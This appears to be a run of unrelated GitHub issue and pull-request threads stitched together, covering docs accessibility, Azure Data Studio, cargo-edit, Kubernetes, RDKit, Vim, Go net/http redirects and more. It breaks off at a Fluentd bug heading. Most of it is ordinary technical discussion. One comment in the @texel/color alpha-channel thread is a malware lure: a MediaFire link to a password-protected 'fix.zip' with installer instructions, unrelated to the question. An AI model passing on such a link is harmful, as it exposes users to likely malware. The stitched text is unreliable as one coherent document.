Fix accessibility and structural issues

Context
We're auditing and fix accessibility issues in docs that use the Tech Docs Template.
Changes proposed in this pull request

Ensure links are accessible
Fix some GOV.UK style issues
Fix typos
Update GitHub and Heroku instructions to match current sites
Restructure repo to fix 404s in navigation links

At the minute lots of the URLs have changed and the URLs include duplication, e.g. /task1.html has 'moved' to /task1/task1.html
I think all of the following should be moved up a level and their parent directories delete:
cheatsheets/cheatsheets.html.md.erb => /cheatsheets.html.md.erb
nextsteps/nextsteps.html.md.erb     => /nextsteps.html.md.erb
resources/resources.html.md.erb     => /resources.html.md.erb
task1/task1.html.md.erb             => /task1.html.md.erb
task2/task2.html.md.erb             => /task2.html.md.erb
task3/task3.html.md.erb             => /task3.html.md.erb
task4/task4.html.md.erb             => /task4.html.md.erb
task5/task5.html.md.erb             => /task5.html.md.erb

Good point on this. For some reason I thought the separate folders were a requirement. Will fix!

Hi @36degrees - thanks for your feedback on this! I've reorganised and the commits should be better. Let me know if it all looks ok.


Not able to execute a query against multiple connections using 'New Server Group' option

SQL Operations Studio Version: 0.23.6

Steps to Reproduce:
When I create a 'New Server Group' and add multiple connections under it, I am not seeing an option to run a query against all the connections at a single go.
Executing a SQL Query against multiple servers at the same time was one of the biggest advantage of using Registered Servers feature in SSMS. This needs to be built into the Ops Studio to leverage the real power of the 'New Server Group' feature.

@samirbehara thanks for opening this issue.  This is on our roadmap as part of our "Multi-Server Management" scenario.  We don't currently have an ETA when it will land.  I'll update the issue once we have more concrete date commitments in this area.

+1

+1

The June 2019 release brings CMS support to Azure Data Studio, which is awesome. 👏👏👏👏👏
I use multi server queries heavily in conjunction with CMS. I think this is a pretty common use case to combine these two features (hopefully telemetry data from SSMS exists to support this?).
With CMS, I want to be able to select an arbitrary folder within the CMS & open a query window to execute queries against all target servers within that folder.
I'm not sure if this should be considered part of this issue, or split into a separate issue that would be done after this one. Happy to log something separately, if the MSFT team thinks that keeping it separate is more appropriate.

In order to move away from SSMS completely this feature has to be present for us.

I'm of the same mind.
That's the only reason I still have SSMS

So I have the CMS extension.  I realize it's in preview mode.  I was able to setup a CMS with several registered servers, but how do I query all the servers at the sane time?

When this occurs for me (Windows), I open a new Query Windows and run the query I wanted to in there instead.  When I do that after a previous window has stalled, then I always get TWO responses from the query I run in the new window.
The response from the previous query is returned first, then the new query's results are returned.
This seems to me like ADS is waiting for the response, but decides to ignore it?

I am also desperately waiting for this feature to execute a query against multiple servers. Without this CMS feature, won't be able to switch to ADS ever.
Looks it is still being worked upon. May be know any ETA if it is?

@kburtram Any ETA on this? This feature is really stopping us to move to ADS.

+1

Likewise, this is the only reason I have to switch back to SSMS on occasion, a pretty jarring transition after the elegance of ADS :)

Any update on this? I desperately need this feature. It's the only thing which is stopping me to move to ADS completely.


Switch to using cargo-edit for cargo upgrade command

The current cargo update command updates the version of dependencies in the Cargo.lock file based on the semver compatibility. It will not change the version range specified in the Cargo.toml file.

Ran this locally to test (had to comment out githubActions in default.nix:
cargo changes
    Updating 'https://github.com/rust-lang/crates.io-index' index
    Checking nixpkgs-check-by-name's dependencies
name          old req compatible latest  new req
====          ======= ========== ======  =======
regex         1.9.3   1.10.4     1.10.4  1.10.4
clap          4.3.23  4.5.4      4.5.4   4.5.4
serde_json    1.0.105 1.0.116    1.0.116 1.0.116
tempfile      3.8.0   3.10.1     3.10.1  3.10.1
serde         1.0.185 1.0.200    1.0.200 1.0.200
colored       2.0.4   2.1.0      2.1.0   2.1.0
rowan         0.15.11 0.15.15    0.15.15 0.15.15
indoc         2.0.4   2.0.5      2.0.5   2.0.5
relative-path 1.9.2   1.9.3      1.9.3   1.9.3
temp-env      0.3.5   0.3.6      0.3.6   0.3.6
   Upgrading recursive dependencies
    Updating libc v0.2.153 -> v0.2.154
    Updating rustix v0.38.33 -> v0.38.34
note: Re-run with `--incompatible` to upgrade incompatible version requirements
note: Re-run with `--verbose` to show more dependencies
  incompatible: itertools
  latest: 4 packages

Running /nix/store/37c31fdckdpmyk3024xh2fwrbm48y2lm-update-npins
npins changes
[INFO ] Updating 'nixpkgs' …
Changes:
-    url: https://releases.nixos.org/nixpkgs/nixpkgs-24.05pre615035.f2d7a289c5a5/nixexprs.tar.xz
+    url: https://releases.nixos.org/nixpkgs/nixpkgs-24.05pre622008.ee4a6e0f566f/nixexprs.tar.xz
-    hash: 1dz3qjnvrqk8j0i90dn2lz64p51mva1cizznhshas1pbr4v2p2za
+    hash: 0pa8g6a8xg03pbqc98vm36cffjpk5ihmfa43vms86zb4xc1hq1n4
[INFO ] Updating 'treefmt-nix' …
Changes:
-    revision: 49dc4a92b02b8e68798abd99184f228243b6e3ac
+    revision: c6aaf729f34a36c445618580a9f95a48f5e4e03f
-    url: https://github.com/numtide/treefmt-nix/archive/49dc4a92b02b8e68798abd99184f228243b6e3ac.tar.gz
+    url: https://github.com/numtide/treefmt-nix/archive/c6aaf729f34a36c445618580a9f95a48f5e4e03f.tar.gz
-    hash: 0qlhb0xvcc3al19irclxk7vnppd9m6b5vi3nbjb9dylphs306x1p
+    hash: 18491j2law88zdkfxrpg2snbcig34pfcg7ykgjwf6ahbdq313zj2
[INFO ] Update successful.

Man, I don't know. semver is just someone's opinion in practice. I kind of prefer the "update and see if it builds and tests" approach we have today.

Man, I don't know. semver is just someone's opinion in practice. I kind of prefer the "update and see if it builds and tests" approach we have today.

I didn't notice that I had to add --incompatible to allow it to jump major versions. I can't tell if that's what you meant or if you thought I was changing it to respect semver. Currently cargo update won't ever let us know that a new major version exists. cargo upgrade --incompatible will basically everything to latest and we'll see if it builds and tests.

Note that CI also runs the update command for you: https://github.com/NixOS/nixpkgs-check-by-name/actions/runs/8976276467#summary-24652778846 :wink:
Looking good to me btw, thanks for taking care of this!


Try to fix tilt...

you get:
Error: Error watching events. Are you connected to kubernetes?
Try running `kubectl get events -n "default"`: WatchEvents: makeInformer: the server rejected our request due to an error in our request, Reason: Invalid, Code: 422

against a new cluster now... maybe new events api it is failing on?

oh, actually it's just my cluster with the watchlist feature:
I0826 07:19:25.030110   86691 round_trippers.go:553] GET https://<IP_ADDRESS>:64377/api/v1/namespaces/default/events?watch=true 422 Unprocessable Entity in 4 milliseconds
I0826 07:19:25.030114   86691 round_trippers.go:580]     X-Kubernetes-Pf-Prioritylevel-Uid: 3c220b1b-bf68-4bda-9195-eb3501b7b287
I0826 07:19:25.030115   86691 round_trippers.go:570] HTTP Statistics: GetConnection 0 ms ServerProcessing 4 ms Duration 4 ms
I0826 07:19:25.030117   86691 round_trippers.go:580]     Date: Sat, 26 Aug 2023 06:19:25 GMT
I0826 07:19:25.030118   86691 round_trippers.go:577] Response Headers:
I0826 07:19:25.030121   86691 round_trippers.go:580]     Date: Sat, 26 Aug 2023 06:19:25 GMT
I0826 07:19:25.030124   86691 round_trippers.go:580]     Audit-Id: 6257ac12-df25-49e7-8e51-603f05e90412
I0826 07:19:25.030127   86691 round_trippers.go:580]     Cache-Control: no-cache, private
I0826 07:19:25.030133   86691 round_trippers.go:580]     Content-Type: application/json
I0826 07:19:25.030136   86691 round_trippers.go:580]     X-Kubernetes-Pf-Flowschema-Uid: 75da5469-236f-45fd-b1b0-e901fa28b087
I0826 07:19:25.030139   86691 round_trippers.go:580]     X-Kubernetes-Pf-Prioritylevel-Uid: 3c220b1b-bf68-4bda-9195-eb3501b7b287
I0826 07:19:25.030142   86691 round_trippers.go:580]     Content-Length: 376
I0826 07:19:25.030151   86691 request.go:1188] Response Body: {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"events \"\" is invalid: sendInitialEvents: Forbidden: for watch is unsupported by an etcd cluster","reason":"Invalid","details":{"kind":"events","causes":[{"reason":"FieldValueForbidden","message":"Forbidden: for watch is unsupported by an etcd cluster","field":"sendInitialEvents"}]},"code":422}
Error: Error watching events. Are you connected to kubernetes?
Try running `kubectl get events -n "default"`: WatchEvents: makeInformer: the server rejected our request due to an error in our request, Reason: Invalid, Code: 422


Add support to retrieve persistence diagrams

Related to issue #7, details can be found there

For me, your additions are a good idea, but I would think twice to return a const for get_persistence_diagram, allow me to explain why. As you know, a persistence diagram can be quite "big", if in the future we would like to perform in-place operations, in order to use less memory, returning const won't allow us to do that (what do you think about this @gtauzin). Otherwise the rest is good for me.


How to change the alpha channel?

Hi Matt
Many thanks for this awesome library!
I was trying to change the alpha channel of a color but deserialize does not include it ...
What would be the way to change the alpha channel?
Best
Benny

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Alpha is only considered in string serialization and deserialization, eg:

import { deserialize } from "@texel/color";

const { coords, id } = deserialize("color(display-p3 0 0.5 1 / 0.35)");
console.log(id); // "display-p3"
console.log(coords); // [ 0, 0.5, 1, 0.35 ]

Does this work? You’ll have to store and keep track of alpha as it may be lost during convert phase (alpha is not part of any color spaces).

Ah, I was using a commas between the colors making a mix of old and new syntax :)

The latest push on npm should fix these issues and conform a little closer to CSS color parsing (also supporting percentages for float values). Let me know if that works and if you spot any other issues!

Thank you Matt! So kind of you. 🙏 Thank you so much for sharing your stuff! Gonna let you know when I find other things I wish for are not working for me :)


RunReactants cannot correctly reduce the C=C bond on the benzene ring

RunReactants cannot correctly reduce the C=C bond on the benzene ring
Reproduce Code
import packages
from rdkit import Chem
from rdkit.Chem import rdChemReactions

Worked with expected results on non-benzene ring (reduce the C=C)
rule = '[C:1](=[C:2])[C:3]>>[C:1](-[C:2])[C:3]'
sub = 'C=C(C)C=C(C)C'

rxn = rdChemReactions.ReactionFromSmarts(rule)
reacts = [(Chem.MolFromSmiles(sub))]
products = rxn.RunReactants(reacts)

for i in range(len(products)):
    print(Chem.MolToSmiles(products[i][0]))

and
rule = '[C:1](=[C:2])[C:3]>>[C:1](-[C:2])[C:3]'
sub = 'CC1=CCCC(C)=C1'

rxn = rdChemReactions.ReactionFromSmarts(rule)
reacts = [(Chem.MolFromSmiles(sub))]
products = rxn.RunReactants(reacts)

for i in range(len(products)):
    print(Chem.MolToSmiles(products[i][0]))

but failed with wholly-Aromatic structure
rule = '[C:1](=[C:2])[C:3]>>[C:1](-[C:2])[C:3]'
sub = 'Cc1cccc(C)c1'

rxn = rdChemReactions.ReactionFromSmarts(rule)
reacts = [(Chem.MolFromSmiles(sub))]
products = rxn.RunReactants(reacts)
print(len(products)) # 0
print(products) # ()

Configuration:

RDKit version: 2019.09.3
OS: Ubuntu 20.04
Python version: 3.8.5

@JustinDoIt This is because aromatic rings have aromatic bonds, not double bonds. Your SMARTS pattern is looking for aliphatic carbons and single and double bonds, so it will never match an aromatic ring.
If you want to reduce a 6 membered aromatic ring you can use a SMARTS like:
In [13]: rxn = rdChemReactions.ReactionFromSmarts(
    ...:     "[c:1]1:[c:2]:[c:3]:[a:4]:[a:5]:[a:6]:1>>[*:1]1-[*:2]-[*:3]=[*:4]-[*:5]=[*:6]-1"
    ...: )

In [14]: ps = rxn.RunReactants((Chem.MolFromSmiles("c1ccccc1"),))

In [15]: p0 = ps[0][0]

In [16]: Chem.SanitizeMol(p0)
Out[16]: rdkit.Chem.rdmolops.SanitizeFlags.SANITIZE_NONE

In [17]: Chem.MolToSmiles(p0)
Out[17]: 'C1=CCCC=C1'

Note that I've written the smarts generally, so it can also match aromatic six-rings which include heteroatoms (though it will only reduce the c:c bonds:
In [21]: ps = rxn.RunReactants((Chem.MolFromSmiles("c1cccnc1"),))

In [22]: p0 = ps[0][0]

In [23]: Chem.SanitizeMol(p0)
Out[23]: rdkit.Chem.rdmolops.SanitizeFlags.SANITIZE_NONE

In [24]: Chem.MolToSmiles(p0)
Out[24]: 'C1=CN=CCC1'

I'm closing this because it looks like the question is answered. Please reopen if necessary.


Stop sending upstreams encoded data when using gzip

Signed-off-by: AliceProxy<EMAIL_ADDRESS>Description
Fixes a bug introduced in 1.14.0 where upstream services would receive gzip encoded data when using gzip compression in the Module.
Thanks to @kflynn for finding the fix
Related Issues
https://github.com/emissary-ingress/emissary/issues/3818
Notes:
A future version of edgissary may expose the ability to enable sending encoded data to upstream, but the default should be to not do that.

Any chance you can backport this fix to 1.14.x?

Hope this view release to v1.14.5 too https://github.com/emissary-ingress/emissary/blob/master/CHANGELOG.md#1145-tbd

Hope this will release to v1.14.5 too https://github.com/emissary-ingress/emissary/blob/master/CHANGELOG.md#1145-tbd

@mrnonz @sharkymcdongles We currently have no plans of officially releasing a 1.14.5, but we did end up doing a dev build of 1.14 containing the gzip bug fix because a specific customer was unable to upgrade Edge-Stack from a much older version to 1.14.4 in order to get on the new the new 2.x line due to this bug. The TBD 1.14.5 exists as a placeholder because 1.14 is still in extended maintenance mode.
This means that should Envoy release security patches for discovered CVEs before 1.14 hits its full End of Life, we would port said security patches back into 1.14 necessitating the 1.14.5 release. Given that this has already been finished and tested for a dev-build, we would include it in said 1.14.5 release if that scenario were to happen, but if not then there will not be a 1.14.5 release.
I can provide the image for the dev-build if you need it because you are in a similar situation, but please understand that dev-builds do not go through the full suite of testing that regular release images do. Additionally, I would strongly recommend only using it as a stepping-stone to help upgrade to 2.x since as I mentioned, unless there are high severity security patches that we need to backport, 1.14 will not receive any additional support, updates, or bugfixes before its EOL.
Edge-stack dev-build: datawiredev/aes:1.14.5-hf.1-1956
For emissary I do not have an image on-hand to provide, but you can build your own off of the release/v1.14 branch. Let me know if you need any assistance doing so if you are using Emissary instead of Edge-Stack.


[Bug]: Android Permission Issue,

Component/Nuget
BluetoothLE Client (Shiny.BluetoothLE)
What operating system(s) are effected?

[ ] iOS 12
[ ] iOS 13
[ ] iOS 14
[ ] iOS 15
[ ] Mac Catalyst
[X] Android 8
[X] Android 9
[X] Android 10
[X] Android 11
[ ] Android 12

What platform(s) are effected?

[X] MAUI
[ ] Xamarin Native
[ ] Xamarin Forms

Steps To Reproduce
BleManager "Scan" throws exception on Android 8 and later, but works fine in Android 12.
Scan works in Shiny.BluetoothLE version "3.0.0-alpha-0181" but all versions after that has this problem. I've also tested the recent version "3.0.0-alpha-0283"
(All permissions mentioned in the exception are defined in "AndroidManifest.xml")
Expected Behavior
Scan working.
Actual Behavior
Exception is thrown
Exception or Log output
Exception log
System.InvalidOperationException: Invalid Status: NotSetup - Ensure you have the following permissions in your AndroidManifest.xml - android.permission.ACCESS_FINE_LOCATION, android.permission.BLUETOOTH_SCAN, & android.permission.BLUETOOTH_CONNECT
   at Shiny.BluetoothLE.BleManager.<>c__DisplayClass9_0.<Scan>b__0(AccessState access)
   at System.Reactive.Linq.ObservableImpl.Do`1.OnNext._[[Shiny.AccessState, Shiny.Core, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null]].OnNext(AccessState value) in /_/Rx.NET/Source/src/System.Reactive/Linq/Observable/Do.cs:line 38
--- End of stack trace from previous location ---
   at BluetoothService.<>c__DisplayClass31_0.<<ScanAndConnect>g__ScanIt|0>d.MoveNext() in ...

Code Sample
No response
Code of Conduct

[X] My reproducible sample is NOT FROM THE SHINY SAMPLES REPOSITORY!  If you file an issue that says 'use shiny sample', YOU WILL BE BANNED FROM THE SHINY REPOS.  Read the code of conduct for why we care about this!
[X] I am using the latest stable version from nuget (sponsors can discuss previews in discord)
[X] I agree to follow this project's Code of Conduct

I just tried it and it runs fine other.  Only the message is wrong.  Please follow the code of conduct of this library.  I am not supporting the alphas at this time.

This is not a support request! this is bug report on a alpha version
Anyway, checking the code I found that you've added a new permission "BLUETOOTH_PRIVILEGED", adding that and now it is RequestAccess that is complaining. Removing "RequestAccess" in the code seems to be working
I'm attaching the sample project here.
ShinyBleTest.zip

I am not taking issues for anything not in the stable release.  It says that right in the issue template.  I haven't finished a ton of things within the alpha.  Please be respectful of this.


Update release on extensions.gnome.org

https://extensions.gnome.org/extension/723/pixel-saver/ is still not compatible with version 3.20

I wonder if there is a version that I can manually install right now since I'm facing the same problem.

Ok I followed the install instructions from the README and forgot to restart the shell gnome-shell -r now it works! Nice.

it has been update a while back. Closing.
Usually when i have a new version supported, I send a version to extension.gnome.org , but the review process can take some time there.


Fix the race condition that happens when in LOAD_AND_RESTORE mode and a user tries to configure a new network.

The DNS server is, in some use cases, unwanted. I added the possibility to disable it as required. By default it is enable, so it doesn't change the actual behavior.
My use case is the following. I have a mobile application that configure the wifi and do the pairing with Google IOT. Having the dns server was not useless.
I also moved assets and web files to folders.

This PR should fix:
Issues: #118 & #109
@hqawasmi & @MPC-BlackBox: Could you please try this. It should fix your issue. Let me know if you still have some issues.

@tonyp7: Are you still maintaining this project? Would you have the time to review this?

Hello Matthieu,
I wish I could tell you I was, but as you can clearly see nothing has moved for quite a while. I'm a new dad and moved place so I no longer have my electronics labs for now...
If you would like to be part of the maintenance and auto-accept your PR let me know!

Hello Matthieu,
I wish I could tell you I was, but as you can clearly see nothing has moved for quite a while. I'm a new dad and moved place so I no longer have my electronics labs for now...
If you would like to be part of the maintenance and auto-accept your PR let me know!

Congrats on you new born, if I extrapolate, he/she is about a year old right?
If you don't mind, I would love to help you maintain this repository:)


exists('+cdhome') returns 1 on Linux

Steps to reproduce

Run vim --clean
:echo exists('+cdhome')
Prints 1

Expected behaviour
Prints 0
Operating system
Arch Linux
Version of Vim
8.2.3781
Logs and stack traces
No response

I think you meant 'cdhome', and not 'cdpath'.

I think you meant 'cdhome', and not 'cdpath'.

Oops, typo.

I prefer minimizing #ifdefs and features only working in some environments, so I just added 'cdhome' for all systems.  On Unix it simply has no effect.  So you can set it in your vimrc and use it all systems without checking.

I believe making exists('+cdhome') return 0 on Unix still allows using it in all system without checking.

I believe making exists('+cdhome') return 0 on Unix still allows using it in all systems without checking.

a bit confused, but perhaps similar like some options for 'mouse',  e.g 'mousefocus', existed but '{only works in the GUI}'.

In the past #ifdefs were often used to reduce the size of the executable.  These days we don't worry about size so much, keeping the code simple has become more important.

@brammool wrote:

In the past #ifdefs were often used to reduce the size of the executable.
These days we don't worry about size so much, keeping the code simple
has become more important.

Reducing #ifdef helps reducing the number of bugs, as it's hard to check
every combination of #ifdef.
Vim has several versions (tiny, small, normal, big, huge). So many versions
seem overkill.   Maybe we just need tiny and huge?  Tiny is generally
the one installed by default in Linux distributions.  And vim users can install
the huge one if they want.  In any cases, it's out of the scope of this PR.

Dominique wrote:

@brammool wrote:

In the past #ifdefs were often used to reduce the size of the executable.
These days we don't worry about size so much, keeping the code simple
has become more important.

Reducing #ifdef helps reducing the number of bugs, as it's hard to check
every combination of #ifdef.
Vim has several versions (tiny, small, normal, big, huge). So many versions
seem overkill.   Maybe we just need tiny and huge?  Tiny is generally
the one installed by default in Linux distributions.  And vim users can install
the huge one if they want.  In any cases, it's out of the scope of this PR.

The tiny/small/normal/big/huge choice doesn't matter too much for
complexity, it's all the individual features that can be included or
not that make it hard to test all combinations.
For "small" there are just a few things:

jumplist
cmdwin
message history length

We could graduate +jumplist and always use the longer message history.
The +cmdwin feature I'm not sure about.  Some people complain that they
accidentally type "q:" instead of ":q" and don't understand what
happened.
Another thing that might help: always build the GUI with "huge".  Since
the GUI libraries are usually big anyway.  But some users might want to
disable individual features perhaps.
--
"Space is big.  Really big.    I mean, you may think it's a long way down the
road to the chemist, but that's just peanuts to space."
-- Douglas Adams, "The Hitchhiker's Guide to the Galaxy"
/// Bram Moolenaar -- @.*** -- http://www.Moolenaar.net   \
///                                                                      \
\\        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ ///
\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

+mouse
+mouseshape
+mouse_dec
-mouse_gpm
-mouse_jsbterm
+mouse_netterm
+mouse_sgr
-mouse_sysmouse
+mouse_urxvt
+mouse_xterm

there is mouseshape but no mousefocus etc, i meant perhaps mouseshape can be graduated too?
// i am not sure very sure what's the difference actually.. :-)
and as another ticket for 'cdhome' mentioned, the term of 'unix' in 'doc' though most people knew it actually meant 'unix-like' but some not, perhaps someday we can re-word to 'unix-like' (and 'non-unix-like') uniformly.


Camel 2.18.x

Can you close this wrong PR? Thanks.

This is an invalid PR do you mind closing this


.flake8 config file will be ignored

If I place a .flake8 or setup.cfg (like its written in the flake8-docu) in the current directory, it will be ignored.
If I manipulate the file ~/.jupyter/lab/user-settings/jupyterlab-flake8/plugins.jupyterlab-settings and add "configuration_file": "~/PATH_TO_MY_REPO/setup.cfg" everything works well.
Our problem with this work-around is, that we are working on AWS SageMaker and have to deploy a ready-to-use environment and we do not want to edit the user-settings just to use a formatter.

I'm not able to recreate this issue. If the configuration_file is not defined, the plugin will call <notebook text> | flake8 --exit-zero.
If you open a terminal on sage maker and run test | flake8 --exit-zero does the output reflect your setup in setup.cfg?

okay, your command works, but only if I got a .flake8 or setup.cfg in each folder of my repository.
I thought a setup.cfg in the root directory of my repository is enough.
Are there any plans to implement this feature? My wish would be to put a single setup.cfg in the root of a repository and all files in that repo are affected?
Unfortunately we are currently unable to use your extension because an error message is displayed when opening a .py file that is too large (or contains to much unformatted code) and the Jupyterlab crashes.


Fix empty responses

This PR fixes empty responses, Bump oxy to b57d6706e9ff606343c596940b60df7f90012d29.
Fixes #463
Maybe fixes #421
Signed-off-by: Emile Vauge<EMAIL_ADDRESS>

LGTM 🐯


Unified account - Update UI for import account feature

Describe the task

[x] Update content for Import account screen
Link figma : https://www.figma.com/design/aEnkI859zkZaIpyzPidYwh/SubWallet-Apps?node-id=2200-57333&t=2pJL1x3Sqoh3nF1j-4

[x] Update content for popup Duplicate account name
Link content : https://www.notion.so/subwallet/Product-SubWallet-C-nh-b-o-v-advanced-address-setting-tr-ng-account-name-38f78f8a001047c49e843b9bbeed1121?pvs=4#c2020d8c4250465d90b86ffd27357aed

[x] Add warning for case there is no valid account

Link notion : https://www.notion.so/subwallet/SubWallet-Chu-n-ho-content-in-app-cho-t-nh-n-ng-Import-account-by-JSON-file-8b4b4806ade94a8188923eccf0bc1bff?pvs=4#435068a9fc8f45c08320b227f0fb8157

[x] Support ENTER shortcut key corresponding to Unlock file

Expect : After input password, ENTER shortcut key navigate to Import multi account screen

Version test : https://drive.google.com/file/d/1XOTQtxmqID62sEgrSeFmSFSSxn02T0Jo/view?usp=drive_link

[ ] Can't choose account in case > 1 accounts with the same name are in the wallet

[ ] In case update version, don't generate suffix for account in wallet

Expect : Generate suffix

[ ] Can't auto detect when entering a seed phrase of length 24

[ ] Update content for message
Actual :

Expect : Content : "Account name already in use"

Version test : https://drive.google.com/file/d/1I043C3fEeeXHuuuuSawrQklFv32By64t/view?usp=sharing
Validation passed in case :

Add warning for case there is no valid account

Add tooltip for case accounts with the same name are in the wallet

Add tooltip for case accounts with the same name are in the JSON file

Add popup in case accounts with the same name in JSON file and in the wallet

Show popup in case update version ( There is an account in the wallet with the same account name


net/http: redirect code is not handled for DELETE requests.

redirection is only handled for GET, HEAD, PUT and POST requests.  But not for 'DELETE' , this leads to an issue where in a 'DELETE' request with proper response from the server doesn't honor redirect.
Following code reproduces this problem.
$ cat server.go
package main

import (
	"fmt"
	"log"
	"net/http"
)

func main() {
	http.HandleFunc("/bucket/redirect", func(w http.ResponseWriter, r *http.Request) {
		msg := fmt.Sprintf("Successful redirect. for method %s", r.Method)
		w.Write([]byte(msg))
	})
	http.HandleFunc("/bucket", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Location", "http://localhost:8080/bucket/redirect")
		w.WriteHeader(http.StatusTemporaryRedirect)
	})

	log.Fatal(http.ListenAndServe(":8080", nil))
}

$ cat client.go
package main

import (
	"bytes"
	"fmt"
	"log"
	"net/http"
)

func main() {
	clnt := &http.Client{}

	req, err := http.NewRequest("GET", "http://localhost:8080/bucket", nil)
	if err != nil {
		log.Fatalln(err)
	}

	resp, err := clnt.Do(req)
	if err != nil {
		log.Fatalln(err)
	}

	// Write response.
	var bufferGet bytes.Buffer
	resp.Write(&bufferGet)

	fmt.Println("--- GET RESPONSE ---")
	fmt.Println(string(bufferGet.Bytes()))
	fmt.Println("")

	req, err = http.NewRequest("DELETE", "http://localhost:8080/bucket", nil)
	if err != nil {
		log.Fatalln(err)
	}

	resp, err = clnt.Do(req)
	if err != nil {
		log.Fatalln(err)
	}

	// Write response.
	var bufferDelete bytes.Buffer
	resp.Write(&bufferDelete)

	fmt.Println("--- DELETE RESPONSE ---")
	fmt.Println(string(bufferDelete.Bytes()))
}

Now running this client against the server.go
$ go run client.go
--- GET RESPONSE ---
HTTP/1.1 200 OK
Content-Length: 35
Content-Type: text/plain; charset=utf-8
Date: Mon, 18 Jan 2016 09:33:21 GMT

Successful redirect. for method GET

--- DELETE RESPONSE ---
HTTP/1.1 307 Temporary Redirect
Content-Type: text/plain; charset=utf-8
Date: Mon, 18 Jan 2016 09:33:21 GMT
Location: http://localhost:8080/bucket/redirect
Content-Length: 0

The problem seems to be in client.Do()
func (c *Client) Do(req *Request) (resp *Response, err error) {
        method := valueOrDefault(req.Method, "GET")
        if method == "GET" || method == "HEAD" {
                return c.doFollowingRedirects(req, shouldRedirectGet)
        }
        if method == "POST" || method == "PUT" {
                return c.doFollowingRedirects(req, shouldRedirectPost)
        }
        return c.send(req, c.deadline())
}

Is there a specific reason why DELETE is not handled?.
Tested with curl seems to work fine
$ curl -i -L -X DELETE localhost:8080/bucket
HTTP/1.1 307 Temporary Redirect
Location: http://localhost:8080/bucket/redirect
Date: Mon, 18 Jan 2016 09:39:00 GMT
Content-Length: 0
Content-Type: text/plain; charset=utf-8

HTTP/1.1 200 OK
Date: Mon, 18 Jan 2016 09:39:00 GMT
Content-Length: 38
Content-Type: text/plain; charset=utf-8

Successful redirect. for method DELETE

Also verified in RFC7231 - https://tools.ietf.org/html/rfc7231#section-4.3.5, doesn't talk anything specific about redirects for 'DELETE'.
Thanks for your inputs.

Related: #10767 #9348 #8384 #7912 #4800 #4385

I don't think CL 18706 is correct.
DELETE is not a safe method: https://tools.ietf.org/html/rfc7231#section-4.2.1
Per https://tools.ietf.org/html/rfc7231#section-6.4 ...

Automatic redirection needs to done with
care for methods not known to be safe, as defined in Section 4.2.1,
since the user might not wish to redirect an unsafe request

It's not correct to treat DELETE the same as a GET or HEAD.

DELETE is not a safe method: https://tools.ietf.org/html/rfc7231#section-4.2.1
Per https://tools.ietf.org/html/rfc7231#section-6.4 ...
Automatic redirection needs to done with
care for methods not known to be safe, as defined in Section 4.2.1,
since the user might not wish to redirect an unsafe request
It's not correct to treat DELETE the same as a GET or HEAD.

Such is the case for PUT and POST as well, wouldn't it be safe to allow a way to set unsafe Methods to be redirected if necessary? and by default only do "GET" and "HEAD".


Add management command for jsonldContexts

Proposed changes
This PR adds management command for jsonldContexts.
Types of changes
What types of changes does your code introduce to the project: Put an x in the boxes that apply

[ ] Bugfix (non-breaking change which fixes an issue)
[X] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Update only documentation, not any source code.

Checklist
Put an x in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of
them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before
merging your code.

[X] I have read the CONTRIBUTING doc
[X] I have signed the CLA
[X] I have added tests that prove my fix is effective or that my feature works
[X] I have added necessary documentation (if appropriate)
[ ] Any dependent changes have been merged and published in downstream modules

Further comments
N/A

Coverage remained the same at 100.0% when pulling 1f0cfbd845d4a1e0f9ea7be87dfa18ce922394e0 on fisuda:hardening/jsonld_contexts into a383984089ceb2d6d5a41483f7ee14c9b293c07c on lets-fiware:main.


Correct typo

Hi small correction, storySeletor  should be storySelector  (there is a missing c in Seletor). Just because maybe later on a new piece is added and pointing at storySelector would error out. Not an issue right now because all references are same. Thank you for your script 🥇
https://github.com/y252328/Instagram_Download_Button/blob/dc8c58d2ce864d9f77398ffef1bbf54758f8a843/instagram-dl.user.js#L115
https://github.com/y252328/Instagram_Download_Button/blob/dc8c58d2ce864d9f77398ffef1bbf54758f8a843/instagram-dl.user.js#L136-L137

Thanks for catching this. I will correct this.


Chore: added information about preprocessing step to README

Context
Link to Notion ticket
Additional information

Added info to README about prebuild step.

Testing (tester)
The reviewer should check on this branch:

The code
The component in Bookshop browser
The site in CloudCannon (link here)

Before merge (PR owner)

[ ] Delete the test site in CloudCannon
[ ] For "generic" components only: remove - content_blocks from structures in the YAML file (this was added for testing).

@calumocannon lol... I can explain that one... think the merge of fix/color-fixes in here probably did that? This README PR is tied to some changes from another branch... that's sort of what Alysha's comment above was about: "I've approved this but ideally color fixes gets merged before this..." - so at some point I merged in color-fixes to this branch to make sure I had the most recent changes... seems there were many changes there...
Chalk it up to a bit of rogue devving... (not QUITE as bad as pushing to main... but up there...)


Doc | Add CONTRIBUTING.md + extending leverage cli section

What?

Add CONTRIBUTING.md - @exequielrafaela
removing old diagrams from how it works organization accounts section - @exequielrafaela
minor sections updates - @exequielrafaela
Adding leverage-cli/extending-leverage section - @exequielrafaela

Why?

closes #134
closes #143

a few comments

@juanmatias thanks for your review and all your commit suggestions. Much appreciated!!!


listview: rewrite the simple listview core

ListView core replaced from packaged to custom slivers.
Introduced simple api for infinite scroll usecase like:

hasReachedMax ( to stop calling onScrollEnd)
showLoading setter ( to show / hide loader through EDL)

merging it as it's required right now, but it does requires a thorough test.


Proxy /user to Auth instead of redirect

@alexeykazakov snapshot fabric8-wit image is available for testing.  docker pull docker.io/fabric8/fabric8-wit:SNAPSHOT-PR-1670-2


fix user.yaml example comments

Description of changes
Fixed the comments on the user.yaml example in vsphere-preparation doc
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/cherry-pick release-0.12


Fluentd is skipping logs in kubernetes

Describe the bug
